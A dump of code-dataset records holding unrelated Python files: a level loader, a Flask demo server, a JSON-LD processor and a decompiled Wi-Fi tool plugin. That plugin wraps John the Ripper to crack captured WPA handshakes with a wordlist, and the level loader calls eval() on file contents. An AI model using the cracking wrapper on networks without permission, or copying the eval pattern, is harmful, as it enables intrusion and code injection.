'习', '龙', ]\n# a3 = ['娟', '丽', '刚', '龙', ]\n# for i in range(n):\n# age = random.randint(18,60)\n# id = ids[i]\n# name = random.choice(a1)+random.choice(a2)+\\\n# random.choice(a3)\n# dict_ran = {'id':id, 'name':name, 'age':age}\n# result.append(dict_ran)\n# return result\n#\n#\n# data = random_list(50)\n# print(data)\n\n\n\n# def bin_search(data_set, value):\n# '''\n#\n# :param data_set: 所查找的数组\n# :param value: 所查找的值\n# :return: 所查找值的下标\n# '''\n# low = 0\n# high = len(data_set) - 1 # 下标只到len-1\n# while low <= high: # 常规判断\n# mid = (low+high)//2\n# if data_set[mid].get('id') == value:\n# return print(data_set[mid])\n# elif data_set[mid].get('id') > value:\n# high = mid - 1\n# else:\n# low = mid + 1\n# return print(False)\n#\n# bin_search(data, 1035)\n\n\n\n\n\n\n\n\n", "sub_path": "查找/Dochotomy.py", "file_name": "Dochotomy.py", "file_ext": "py", "file_size_in_byte": 2187, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "datetime.datetime.now", "line_number": 12, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 12, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 14, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 14, "usage_type": "name"}]} {"seq_id": "620946122", "text": "from PyQt5.QtCore import QRectF\nfrom enum import Enum\nimport re\n\nclass Tile(Enum):\n grass = 0\n wall = 1\n stone = 2\n sand = 3\n dark_sand = 4\n sand_stone = 5\n snow = 6\n ice = 7\n stonewall = 8\n fire = 9\n\n def walkable(self):\n return self in [Tile.grass, Tile.sand, Tile.dark_sand, Tile.snow, Tile.stone]\n def shootable(self):\n return self in [Tile.grass, Tile.sand, Tile.dark_sand, Tile.snow, Tile.stone, Tile.ice]\n\nclass LevelLoader:\n\n LEVEL_SIZE = 100\n TILE_SIZE = 10\n\n META_DATA_TAGS = ['single_spawn', 'duel_spawns', 'chaser_spawns']\n META_DATA_DEFAULT_VALUES = {'single_spawn' : (50,50), 'duel_spawns' : [(10,50),(90,50)], 'chaser_spawns' : [(50,20),(20,50),(70,50)]}\n\n # Reads a txt file and creates an 2 dimensional array representing a level\n # A '0' represents free space, a '1' represents a wall\n @classmethod\n def loadLevel(self, filePath):\n levelMatrix = []\n rects = []\n metadata = {}\n\n # construct regex pattern\n pattern = '(?P<name>'\n for tag in self.META_DATA_TAGS:\n pattern += tag + '|'\n pattern = pattern[:-1] # remove last '|'\n pattern += ')'\n pattern += ':\\s*(?P<data>.*)'\n\n with open(filePath, \"r\") as fileObject:\n for line in fileObject:\n if line.startswith('\\n'):\n continue\n\n match = re.match(pattern, line)\n if match:\n # if it matches, the line contains metadata\n tag = match.group('name')\n if tag in self.META_DATA_TAGS:\n metadata[tag] = eval(match.group('data'))\n else:\n raise Exception('Unknown tag name: \"' + tag + '\" in level \"' + filePath + '\"')\n else:\n # else it contains level data\n row = []\n for c in line:\n if c == '\\n':\n continue\n try:\n tileNum = int(c)\n row.append(Tile(tileNum))\n except:\n raise Exception('Unknown symbol: \"' + c + '\" in level \"' + filePath + '\"')\n levelMatrix.append(row)\n\n # construct obstacle list\n for i in range(self.LEVEL_SIZE):\n for j in range(self.LEVEL_SIZE):\n if levelMatrix[i][j] == Tile.wall:\n new_rect = QRectF(j * self.TILE_SIZE, i * self.TILE_SIZE,\n self.TILE_SIZE, self.TILE_SIZE)\n\n # Check if the rect would already be covered by one of our rects\n if any(rect.contains(new_rect) for rect in rects):\n continue\n\n # Explore right and down to cover more walls in one square\n n=0\n while all(all(x == Tile.wall for x in column[j:j+n]) for column in levelMatrix[i:i+n]):\n n += 1\n\n rects.append(QRectF(j * self.TILE_SIZE, i * self.TILE_SIZE,\n (n-1) * self.TILE_SIZE, (n-1) * self.TILE_SIZE))\n\n # fill in missing metadata with default values\n for tag in self.META_DATA_TAGS:\n if tag not in metadata:\n metadata[tag] = self.META_DATA_DEFAULT_VALUES[tag]\n\n return levelMatrix, rects, metadata\n", "sub_path": "levelLoader.py", "file_name": "levelLoader.py", "file_ext": "py", "file_size_in_byte": 3513, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "enum.Enum", "line_number": 5, "usage_type": "name"}, {"api_name": "re.match", "line_number": 51, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QRectF", "line_number": 76, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QRectF", "line_number": 88, "usage_type": "call"}]} {"seq_id": "273083237", "text": "# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/src/plugins/john.py\n# Compiled at: 2020-01-19 08:13:30\n# Size of source mod 2**32: 2034 bytes\nfrom .dependency import Dependency\nfrom ..config import Configuration\nfrom ..handlers.color import Color\nfrom ..handlers.process import Process\nfrom ..plugins.hashcat import HcxPcapTool\nimport os\n\nclass John(Dependency):\n __doc__ = ' Wrapper for John program. '\n dependency_required = False\n dependency_name = 'john'\n dependency_url = 'http://www.openwall.com/john/'\n\n @staticmethod\n def crack_handshake(handshake, show_command=False):\n john_file = HcxPcapTool.generate_john_file(handshake,\n show_command=show_command)\n formats_stdout = Process(['john', '--list=formats']).stdout()\n if 'wpapsk-opencl' in formats_stdout:\n john_format = 'wpapsk-opencl'\n else:\n if 'wpapsk-cuda' in formats_stdout:\n john_format = 'wpapsk-cuda'\n else:\n john_format = 'wpapsk'\n command = [\n 'john',\n '--format=%s' % john_format,\n '--wordlist', Configuration.wordlist,\n john_file]\n if show_command:\n Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))\n else:\n process = Process(command)\n process.wait()\n command = [\n 'john', '--show', john_file]\n if show_command:\n Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))\n process = Process(command)\n stdout, stderr = process.get_output()\n if '0 password hashes cracked' in stdout:\n key = None\n else:\n for line in stdout.split('\\n'):\n if handshake.capfile in line:\n key = line.split(':')[1]\n break\n\n if os.path.exists(john_file):\n os.remove(john_file)\n return key", "sub_path": "pycfiles/wifihunter-1.0.0-py3.6/john.cpython-36.py", "file_name": "john.cpython-36.py", "file_ext": "py", "file_size_in_byte": 2100, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "dependency.Dependency", "line_number": 15, "usage_type": "name"}, {"api_name": "plugins.hashcat.HcxPcapTool.generate_john_file", "line_number": 23, "usage_type": "call"}, {"api_name": "plugins.hashcat.HcxPcapTool", "line_number": 23, "usage_type": "name"}, {"api_name": "handlers.process.Process", "line_number": 25, "usage_type": "call"}, {"api_name": "config.Configuration.wordlist", "line_number": 36, "usage_type": "attribute"}, {"api_name": "config.Configuration", "line_number": 36, "usage_type": "name"}, {"api_name": "handlers.color.Color.pl", "line_number": 39, "usage_type": "call"}, {"api_name": "handlers.color.Color", "line_number": 39, "usage_type": "name"}, {"api_name": "handlers.process.Process", "line_number": 41, "usage_type": "call"}, {"api_name": "handlers.color.Color.pl", "line_number": 46, "usage_type": "call"}, {"api_name": "handlers.color.Color", "line_number": 46, "usage_type": "name"}, {"api_name": "handlers.process.Process", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 58, "usage_type": "call"}]} {"seq_id": "70952840", "text": "#!/usr/bin/python -tt\n# -*- coding: utf-8 -*-\n\nimport flask, json\n\napp = flask.Flask(__name__)\n\nposts = [\n\t\t\t{\n\t\t\t\tu\"userId\": 1,\n\t\t\t\tu\"id\": 1,\n\t\t\t\tu\"title\": u\"Título 1\",\n\t\t\t\tu\"body\": u\"Mensaje 1\"\n\t\t\t},\n\t\t\t{\n\t\t\t\tu\"userId\": 1,\n\t\t\t\tu\"id\": 2,\n\t\t\t\tu\"title\": u\"Título 2\",\n\t\t\t\tu\"body\": u\"Mensaje 2\"\n\t\t\t},\n\t\t\t{\n\t\t\t\tu\"userId\": 1,\n\t\t\t\tu\"id\": 3,\n\t\t\t\tu\"title\": u\"Título 3\",\n\t\t\t\tu\"body\": u\"Mensaje 3\"\n\t\t\t},\n\t\t\t{\n\t\t\t\tu\"userId\": 1,\n\t\t\t\tu\"id\": 4,\n\t\t\t\tu\"title\": u\"Título 4\",\n\t\t\t\tu\"body\": u\"Mensaje 4\"\n\t\t\t},\n\t\t\t{\n\t\t\t\tu\"userId\": 1,\n\t\t\t\tu\"id\": 5,\n\t\t\t\tu\"title\": u\"Título 5\",\n\t\t\t\tu\"body\": u\"Mensaje 5\"\n\t\t\t},\n\t\t\t{\n\t\t\t\tu\"userId\": 2,\n\t\t\t\tu\"id\": 6,\n\t\t\t\tu\"title\": u\"Título 6\",\n\t\t\t\tu\"body\": u\"Mensaje 6\"\n\t\t\t},\n\t\t\t{\n\t\t\t\tu\"userId\": 2,\n\t\t\t\tu\"id\": 7,\n\t\t\t\tu\"title\": u\"Título 7\",\n\t\t\t\tu\"body\": u\"Mensaje 7\"\n\t\t\t},\n\t\t\t{\n\t\t\t\tu\"userId\": 2,\n\t\t\t\tu\"id\": 8,\n\t\t\t\tu\"title\": u\"Título 8\",\n\t\t\t\tu\"body\": u\"Mensaje 8\"\n\t\t\t},\n\t\t\t{\n\t\t\t\tu\"userId\": 2,\n\t\t\t\tu\"id\": 9,\n\t\t\t\tu\"title\": u\"Título 9\",\n\t\t\t\tu\"body\": u\"Mensaje 9\"\n\t\t\t},\n\t\t\t{\n\t\t\t\tu\"userId\": 2,\n\t\t\t\tu\"id\": 10,\n\t\t\t\tu\"title\": u\"Título 10\",\n\t\t\t\tu\"body\": u\"Mensaje 10\"\n\t\t\t},\n\t\t\t{\n\t\t\t\tu\"userId\": 3,\n\t\t\t\tu\"id\": 11,\n\t\t\t\tu\"title\": u\"Título 11\",\n\t\t\t\tu\"body\": u\"Mensaje 11\"\n\t\t\t},\n\t\t\t{\n\t\t\t\tu\"userId\": 3,\n\t\t\t\tu\"id\": 12,\n\t\t\t\tu\"title\": u\"Título 12\",\n\t\t\t\tu\"body\": u\"Mensaje 12\"\n\t\t\t},\n\t\t\t{\n\t\t\t\tu\"userId\": 3,\n\t\t\t\tu\"id\": 13,\n\t\t\t\tu\"title\": u\"Título 13\",\n\t\t\t\tu\"body\": u\"Mensaje 13\"\n\t\t\t},\n\t\t\t{\n\t\t\t\tu\"userId\": 3,\n\t\t\t\tu\"id\": 14,\n\t\t\t\tu\"title\": u\"Título 14\",\n\t\t\t\tu\"body\": u\"Mensaje 14\"\n\t\t\t},\n\t\t\t{\n\t\t\t\tu\"userId\": 3,\n\t\t\t\tu\"id\": 15,\n\t\t\t\tu\"title\": u\"Título 15\",\n\t\t\t\tu\"body\": u\"Mensaje 15\"\n\t\t\t}\n\t\t]\n\nusers = [\n\t\t\t{\n\t\t\t\tu\"id\": 1,\n\t\t\t\tu\"name\": u\"Leanne Graham\",\n\t\t\t\tu\"username\": u\"Bret\"\n\t\t\t},\n\t\t\t{\n\t\t\t\tu\"id\": 2,\n\t\t\t\tu\"title\": u\"Ervin Howell\",\n\t\t\t\tu\"username\": u\"Antonette\"\n\t\t\t},\n\t\t\t{\n\t\t\t\tu\"id\": 3,\n\t\t\t\tu\"name\": u\"Clementine Bauch\",\n\t\t\t\tu\"username\": u\"Samantha\"\n\t\t\t}\n\t\t]\n\ndef getPostsUserId(userId):\n\tpostsUser = []\n\ttry:\n\t\tid = int(userId)\n\t\tfor post in posts:\n\t\t\tif post[\"userId\"] == id:\n\t\t\t\tpostsUser.append(post)\n\t\treturn json.dumps(postsUser)\n\texcept:\n\t\treturn json.dumps(postsUser), 404\n\n@app.route(\"/\")\ndef index():\n\treturn u\"Bienvenido a mi servidor REST\"\n\n@app.route(\"/posts\")\ndef getPosts():\n\tquery_string = flask.request.args\n\tif \"userId\" in query_string:\n\t\treturn getPostsUserId(query_string[\"userId\"])\n\telse:\n\t\treturn json.dumps(posts)\n\n@app.route(\"/posts/<id>\")\ndef getPostsId(id):\n\ttry:\n\t\tif (int(id) > len(posts)) or (int(id) < 1):\n\t\t\treturn json.dumps({}), 404\n\t\telse:\n\t\t\treturn json.dumps(posts[int(id) - 1])\n\texcept:\n\t\treturn json.dumps({}), 404\n\n@app.route(\"/users\")\ndef getUsers():\n\treturn json.dumps(users)\n\n@app.route(\"/users/<id>\")\ndef getUsersId(id):\n\ttry:\n\t\tif (int(id) > len(users)) or (int(id) < 1):\n\t\t\treturn json.dumps({}), 404\n\t\telse:\n\t\t\treturn json.dumps(users[int(id) - 1])\n\texcept:\n\t\treturn json.dumps({}), 404\n\nif __name__ == \"__main__\":\n\tapp.run(debug = True)\n", "sub_path": "PythonServers/server03.py", "file_name": "server03.py", "file_ext": "py", "file_size_in_byte": 2876, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "flask.Flask", "line_number": 6, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 126, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 128, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 136, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 140, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 146, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 148, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 150, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 154, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 160, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 162, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 164, "usage_type": "call"}]} {"seq_id": "195806308", "text": "from pyld import jsonld\nimport json\nimport re\nimport requests\nimport grequests\nfrom collections import defaultdict\nfrom subprocess import Popen, PIPE, STDOUT\nfrom joblib import Parallel, delayed\nimport multiprocessing\nimport logging\n\nlogger = logging.getLogger(__name__)\n\nfrom .utils import readFile\n\nclass JSONLDHelper:\n def __init__(self):\n self.processor = jsonld.JsonLdProcessor()\n self.temp_attr_id = None\n\n def jsonld2nquads_helper(self, jsonld_doc):\n \"\"\"\n Given a JSONLD document, return its nquads format\n\n Params\n ======\n jsonld_doc: jsonld document containing both JSON and the context file\n\n TODO\n ======\n Currently it relies on the JSONLD ruby client to convert to nquads\n When the JSONLD Python client is ready to adapt to 1.1, \n should switch to the Python client\n \"\"\"\n \"\"\"\n No longer need JSON-LD Ruby Client\n PyLD for 1.1 json-ld version is available\n # the following 6 lines use JSON-LD Ruby client to convert\n # JSON-LD document into NQuads format\n cmd = 'jsonld --validate --format nquads'\n p = Popen(cmd.split(), stdout=PIPE, stdin=PIPE, stderr=STDOUT)\n p.stdin.write(doc.encode('utf-8'))\n stdout_data = p.communicate()[0]\n p.stdin.close()\n _response = stdout_data.decode()\n \"\"\"\n # convert from jsonld doc to nquads format\n nquads = jsonld.to_rdf(jsonld_doc, {'format': \"application/nquads\"})\n \"\"\"\n No longer need to deal with ruby error message\n if _response.startswith(('Error', 'ERROR')):\n logger.error(\"An error occured when JSON-LD Ruby client tries to parse the JSON-LD. \\\n The first 100 chars of the JSON document is %s\", jsonld_doc[:100])\n return None\n # deal with cases when JSON-LD Ruby client returns empty resutls\n elif _response.startswith('\\nParsed 0 statements'):\n logger.warning(\"0 statements is found when JSON-LD Ruby client tries to parse the JSON-LD input.\\\n The first 100 chars of the JSON document is %s\", jsonld_doc[:100])\n else:\n \"\"\"\n try:\n return self.processor.parse_nquads(nquads)\n except Exception as e:\n logger.error(\"Something Unexpected happend when JSON-LD Python client tries to parse the JSON-LD. \\\n The first 100 chars of the JSON document is %s\", json.dumps(jsonld_doc[:100]))\n logger.error(e, exc_info=True)\n return None\n\n def jsonld2nquads(self, jsonld_docs):\n \"\"\"\n Given a JSON-LD annotated document,\n Fetch it's corresponding NQUADs file from JSON-LD playground\n 'http://jsonld.biothings.io/?action=nquads'\n\n TODO: Currently, PyLD hasn't been updated to match JSON-LD v 1.1\n So we are using the JSON-LD playground API, which is built upon\n JSON-LD ruby client for 1.1 version. When PyLD has been updated to\n match 1.1, we should switch back to PyLD.\n\n Params\n ======\n jsonld_doc: (dict)\n JSON-LD annotated document\n \"\"\"\n # handle cases where input is a list of JSON documents\n # in this case, the results will also be a list of NQuads parsing results\n if type(jsonld_docs) == list and type(jsonld_docs[0]) == dict:\n #results = Parallel(n_jobs=multiprocessing.cpu_count())(delayed(self.jsonld2nquads_helper)(_doc) for _doc in jsonld_docs)\n results = []\n for _doc in jsonld_docs:\n results.append(self.jsonld2nquads_helper(_doc))\n if len(results) == 1:\n return results[0]\n else:\n return results\n # handle cases where input is a single JSON object document\n # in this case, the results will be a single NQuads parsing result\n elif type(jsonld_docs) == dict:\n \"\"\"\n jsonld_docs = [jsonld_docs]\n results = Parallel(n_jobs=multiprocessing.cpu_count())(delayed(self.jsonld2nquads_helper)(_doc) for _doc in jsonld_docs)\n return results[0]\n \"\"\"\n return self.jsonld2nquads_helper(jsonld_docs)\n # if the input is neither list of json_docs nor single json_doc\n # log error message and return None\n else:\n logger.warning(\"The input of the jsonld2nquads function should be a list of JSON docs or a single JSON dictionary doc. \\\n You input is %s. The first 100 chars of the input is %s\", type(jsonld_docs), jsonld_doc[:100])\n return None\n\n def json2jsonld(self, json_docs, jsonld_context_path):\n \"\"\"\n Given a JSON document and the endpoint where the doc comes from\n Fetch the JSON-LD context file for the endpoint\n Apply the JSON-LD context to JSON file to construct the JSON-LD document\n\n Return\n ======\n JSON-LD document\n \"\"\"\n jsonld_context = readFile(jsonld_context_path)\n if type(json_docs) == list and type(json_docs[0]) == dict:\n jsonld_docs = [json_doc.update(jsonld_context) for json_doc in json_docs]\n return json_docs\n elif type(json_docs) == dict:\n json_docs.update(jsonld_context)\n return json_docs\n else:\n logger.warning(\"The input of the json2jsonld function should be a list of JSON docs or a single JSON dictionary doc. \\\n You input is %s. The first 100 chars of the input is %s\", type(jsonld_docs), jsonld_doc[:100])\n return None\n\n def json2nquads(self, json_docs, context_file_path):\n \"\"\"\n Given a JSON document, perform the following actions\n 1) Find the json-ld context file based on endpoint_name\n 2) Add JSON-LD context file to JSON doc\n 3) Convert the JSON-LD doc into N-quads format\n\n Params\n ======\n json_doc: (dict)\n JSON document fetched from API calls\n endpoint_name: (str)\n the endpoint which the JSON doc comes from\n output: (str)\n URI subject\n predicate:\n NQUADS predicate, default is None\n \"\"\"\n jsonld_docs = self.json2jsonld(json_docs, context_file_path)\n nquads = self.jsonld2nquads(jsonld_docs)\n return nquads\n\n def find_object_properties_in_jsonld(self, _dict):\n \"\"\"\n extract the @base field corresponding to \"attr:id\" in a nested JSON-LD context file\n \"\"\"\n for k,v in _dict.items():\n # check if @id startswith \"attr:\" or \"rel:\"\n if isinstance(v, dict) and \"@id\" in v and v[\"@id\"] == \"attr:id\":\n # @base should be in the child level of @context\n if \"@base\" in v[\"@context\"]:\n self.temp_attr_id = v[\"@context\"][\"@base\"]\n else:\n print('@base should be included here! Something wrong with the JSON-LD context file!!')\n # otherwise, recall this function to look into the child level\n elif isinstance(v, dict):\n self.find_object_properties_in_jsonld(v)\n\n def jsonld_parser_helper(self, _dict, relation=defaultdict(set)):\n \"\"\"\n extract relationship information from \"@id\" which startsfrom \"assoc:\"\n extract output information from \"@base\"\n \"\"\"\n for k, v in _dict.items():\n # First, looking for value of @id startswith \"assoc\"\n # this represents an association in the nested structure\n if isinstance(v, dict) and \"@id\" in v and v[\"@id\"].startswith(\"assoc:\"):\n # Next, looking for whether \"@base\" exists in the direct child level\n if \"@context\" in v and \"@base\" in v[\"@context\"]:\n relation[v[\"@context\"][\"@base\"]].add(v[\"@id\"])\n # If \"@base\" not exists in direct child level, look for levels deeper\n elif \"@context\" in v:\n self.temp_attr_id = None\n self.find_object_properties_in_jsonld(v[\"@context\"])\n if self.temp_attr_id:\n relation[self.temp_attr_id].add(v[\"@id\"])\n else:\n print(\"attr:id is missing in the object properties!\")\n elif isinstance(v, dict):\n self.jsonld_parser_helper(v, relation=relation)\n return relation\n\n def jsonld_relation_parser(self, jsonld_context):\n \"\"\"\n Given a JSON-LD context file, reorganize the file\n so that the key would be the attr id,\n the rest of the information would be wrapped in the value\n\n Example Outputs:\n\n >>> jsonld_helper = JSONLDHelper()\n >>> jsonld_context_file = {\"hits\": {\"@id\": \"http://bt.d2g/\", \"@type\": \"@id\", \"@context\": {\"gene\": {\"@id\": \"\"}}}\n }}\n\n \"\"\"\n if type(jsonld_context) != dict or '@context' not in jsonld_context:\n logging.error(\"Invalid JSON-LD context file!\")\n return\n return self.jsonld_parser_helper(jsonld_context, relation=defaultdict(set))\n\n def fetch_object_value_by_predicate_value_in_nquads(self, nquads, predicate_value):\n \"\"\"\n Given a nquads parsing results and a predicate_value\n find the corresponding object value(s)\n \"\"\"\n object_values = []\n if '@default' in nquads:\n nquads = nquads['@default']\n for _nquad in nquads:\n if _nquad['predicate']['value'] == predicate_value:\n object_values.append(_nquad['object']['value'])\n return object_values\n\n def fetch_object_and_predicate_value_by_subject_value_in_nquads(self, nquads, subject_value, results=None):\n \"\"\"\n Given a nquads parsing results and a subject_value\n find the corresponding object and predicate value\n \"\"\"\n if not results:\n results = defaultdict(list)\n if '@default' in nquads:\n nquads = nquads['@default']\n for _nquad in nquads:\n if _nquad['subject']['value'] == subject_value:\n current_predicate_value = _nquad['predicate']['value']\n current_object_value = _nquad['object']['value']\n if current_predicate_value != 'http://biothings.io/pass/':\n results[current_predicate_value].append(_nquad['object']['value'])\n else:\n results = self.fetch_object_and_predicate_value_by_subject_value_in_nquads(nquads, _nquad['object']['value'], results)\n return results\n\n def fetch_properties_by_association_in_nquads(self, nquads, association_list):\n results = {}\n for _association in association_list:\n results[_association] = []\n object_values = self.fetch_object_value_by_predicate_value_in_nquads(nquads, _association)\n for _object_value in object_values:\n if _object_value.startswith('_:'):\n object_predicate_dict = self.fetch_object_and_predicate_value_by_subject_value_in_nquads(nquads, _object_value)\n if object_predicate_dict:\n results[_association].append(object_predicate_dict)\n else:\n print(\"Could not fetch any properties from the given association: {}\".format(_object_value))\n else:\n results[_association].append({'http://biothings.io/explorer/vocab/attributes/id': [_object_value]})\n return results\n\n def fetch_properties_by_association_and_prefix_in_nquads(self, nquads, association, prefix):\n association_results = self.fetch_properties_by_association_in_nquads(nquads, [association])\n association_and_prefix_results = [_doc for _doc in association_results[association] if _doc['http://biothings.io/explorer/vocab/attributes/id'][0].startswith(prefix)]\n return association_and_prefix_results\n\nt = jsonld.JsonLdProcessor()\n\ndef process_jsonld(doc):\n # cmd = 'ruby jsonld_test_cli.rb -a compact'\n doc = json.dumps(doc)\n logger.debug('The JSONLD file after json.dumps is %s', doc)\n RUBY_JSONLD_CMD = 'jsonld'\n cmd = RUBY_JSONLD_CMD + ' '\n cmd += '--validate --format nquads'\n p = Popen(cmd.split(), stdout=PIPE, stdin=PIPE, stderr=STDOUT)\n p.stdin.write(doc.encode('utf-8'))\n # stdout_data = p.communicate(input=doc.encode('utf-8'))[0]\n stdout_data = p.communicate()[0]\n p.stdin.close()\n _response = stdout_data.decode()\n if 'Parsed' in _response:\n _nquad = re.sub('Parsed .*second.\\n', '', _response)\n return t.parse_nquads(_nquad)\n else:\n return None\n\ndef json2jsonld(json_doc, jsonld_context_path):\n \"\"\"\n\n \"\"\"\n doc = json.dumps(doc).replace(' ', '')\n cmd = 'jsonld --validate --format nquads'\n p = Popen(cmd.split(), stdout=PIPE, stdin=PIPE, stderr=STDOUT)\n p.stdin.write(doc.encode('utf-8'))\n stdout_data = p.communicate()[0]\n p.stdin.close()\n _response = stdout_data.decode()\n # check if startswith 'ERROR'\n # check if return nquads\n # check if the nquads is empty\n # if parsing error\n if 'Parsed' in _response:\n _nquad = re.sub('Parsed .*second.\\n', '', _response)\n return t.parse_nquads(_nquad)\n else:\n return None\n\n'''\ndef jsonld2nquads(jsonld_doc, mode='batch'):\n \"\"\"\n Given a JSON-LD annotated document,\n Fetch it's corresponding NQUADs file from JSON-LD playground\n 'http://jsonld.biothings.io/?action=nquads'\n\n TODO: Currently, PyLD hasn't been updated to match JSON-LD v 1.1\n So we are using the JSON-LD playground API, which is built upon\n JSON-LD ruby client for 1.1 version. When PyLD has been updated to\n match 1.1, we should switch back to PyLD.\n\n Params\n ======\n jsonld_doc: (dict)\n JSON-LD annotated document\n \"\"\"\n # need to skip html escapes\n if mode != 'batch':\n nquads = requests.post('http://jsonld.biothings.io/?action=nquads', data={'doc': json.dumps(jsonld_doc).replace('>', \">\").replace(' ', '')})\n if nquads.status_code != 413:\n # remove the log line from the nquads\n nquads = re.sub('Parsed .*second.\\n', '', nquads.json()['output'])\n return t.parse_nquads(nquads)\n elif mode == 'batch':\n responses = []\n for _jsonld_doc in jsonld_doc:\n responses.append(grequests.post('http://jsonld.biothings.io/?action=nquads', data={'doc': json.dumps(_jsonld_doc).replace('>', \">\").replace(' ', '')}))\n responses = grequests.map(iter(responses))\n results = []\n for _response in responses:\n if _response.status_code != 413:\n nquads = re.sub('Parsed .*second.\\n', '', _response.json()['output'])\n results.append(t.parse_nquads(nquads))\n else:\n results.append(None)\n return results\n'''\ndef jsonld2nquads(jsonld_docs):\n \"\"\"\n Given a JSON-LD annotated document,\n Fetch it's corresponding NQUADs file from JSON-LD playground\n 'http://jsonld.biothings.io/?action=nquads'\n\n TODO: Currently, PyLD hasn't been updated to match JSON-LD v 1.1\n So we are using the JSON-LD playground API, which is built upon\n JSON-LD ruby client for 1.1 version. When PyLD has been updated to\n match 1.1, we should switch back to PyLD.\n\n Params\n ======\n jsonld_doc: (dict)\n JSON-LD annotated document\n \"\"\"\n results = []\n \"\"\"\n for _doc in jsonld_docs:\n _response = process_jsonld(_doc)\n if 'Parsed' in _response:\n _nquad = re.sub('Parsed .*second.\\n', '', _response)\n results.append(t.parse_nquads(_nquad))\n else:\n results.append(None)\n \"\"\"\n num_cores = multiprocessing.cpu_count()\n results = Parallel(n_jobs=num_cores)(delayed(process_jsonld)(_doc) for _doc in jsonld_docs)\n return results\n\n\ndef fetchvalue(nquads, object_uri, predicate=None):\n \"\"\"\n Given a NQUADS together with (URI/subject, predicate) pair\n Extract the object value\n\n Params\n ======\n nquads: (list)\n NQUADS doc\n object_uri: (str)\n URI subject\n predicate:\n NQUADS predicate. If None is specified, return all objects matching the subject\n \"\"\"\n results = []\n # check if it's a valid nquads\n if nquads and '@default' in nquads:\n for _nquad in nquads['@default']:\n if predicate and object_uri in _nquad['object']['value'] and _nquad['predicate']['value'].split('/')[-1] == predicate.split(':')[-1]:\n results.append((_nquad['object']['value'].split(object_uri)[1], _nquad['predicate']['value'].split('/')[-1]))\n elif not predicate and object_uri in _nquad['object']['value']:\n results.append((_nquad['object']['value'].split(object_uri)[1], _nquad['predicate']['value'].split('/')[-1]))\n elif nquads:\n print('This is a invalid nquads, missing \"@default\"!!!')\n else:\n print('The nquads is empty')\n # if results is empty, it could be either nquads is empty or object_uri could not be found in nuqads\n if results:\n return list(set(results))\n else:\n return\n\ndef find_base(d, relation=defaultdict(set)):\n \"\"\"\n Iterative function\n Given a JSON-LD context file as Python Dictionary,\n return all bio-entity URIs in that context file\n together with the relationship(s) as a set\n e.g. {'http://identifiers.org/pdb/': {'ont:has3DStructure'}}\n\n Params\n ======\n d: (dict)\n JSON-LD context\n relation: (dict)\n temporarily store relation info\n \"\"\"\n for k, v in d.items():\n if isinstance(v, dict) and \"@context\" in v and \"@base\" in v[\"@context\"]:\n relation[v[\"@context\"][\"@base\"]].add(v[\"@id\"])\n # if v is a dict and doesnt have @base, then reiterative the process\n elif isinstance(v, dict):\n find_base(v, relation=relation)\n return relation\n\ndef json2nquads(json_doc, context_file_path, output_type, predicate=None):\n \"\"\"\n Given a JSON document, perform the following actions\n 1) Find the json-ld context file based on endpoint_name\n 2) Add JSON-LD context file to JSON doc\n 3) Convert the JSON-LD doc into N-quads format\n\n Params\n ======\n json_doc: (dict)\n JSON document fetched from API calls\n endpoint_name: (str)\n the endpoint which the JSON doc comes from\n output: (str)\n URI subject\n predicate:\n NQUADS predicate, default is None\n \"\"\"\n context_file = readFile(context_file_path)\n for _json_doc in json_doc:\n _json_doc.update(context_file)\n nquads = jsonld2nquads(json_doc)\n results = []\n for _nquad in nquads:\n output = fetchvalue(_nquad, output_type, predicate=predicate)\n if output:\n outputs = list(set(output))\n results.append(outputs)\n else:\n results.append(None)\n return results\n", "sub_path": "src/biothings_explorer/jsonld_processor.py", "file_name": "jsonld_processor.py", "file_ext": "py", "file_size_in_byte": 19022, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 12, "usage_type": "call"}, {"api_name": "pyld.jsonld.JsonLdProcessor", "line_number": 18, "usage_type": "call"}, {"api_name": "pyld.jsonld", "line_number": 18, "usage_type": "name"}, {"api_name": "pyld.jsonld.to_rdf", "line_number": 48, "usage_type": "call"}, {"api_name": "pyld.jsonld", "line_number": 48, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 65, "usage_type": "call"}, {"api_name": "utils.readFile", "line_number": 122, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 172, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 210, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 212, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 233, "usage_type": "call"}, {"api_name": "pyld.jsonld.JsonLdProcessor", "line_number": 267, "usage_type": "call"}, 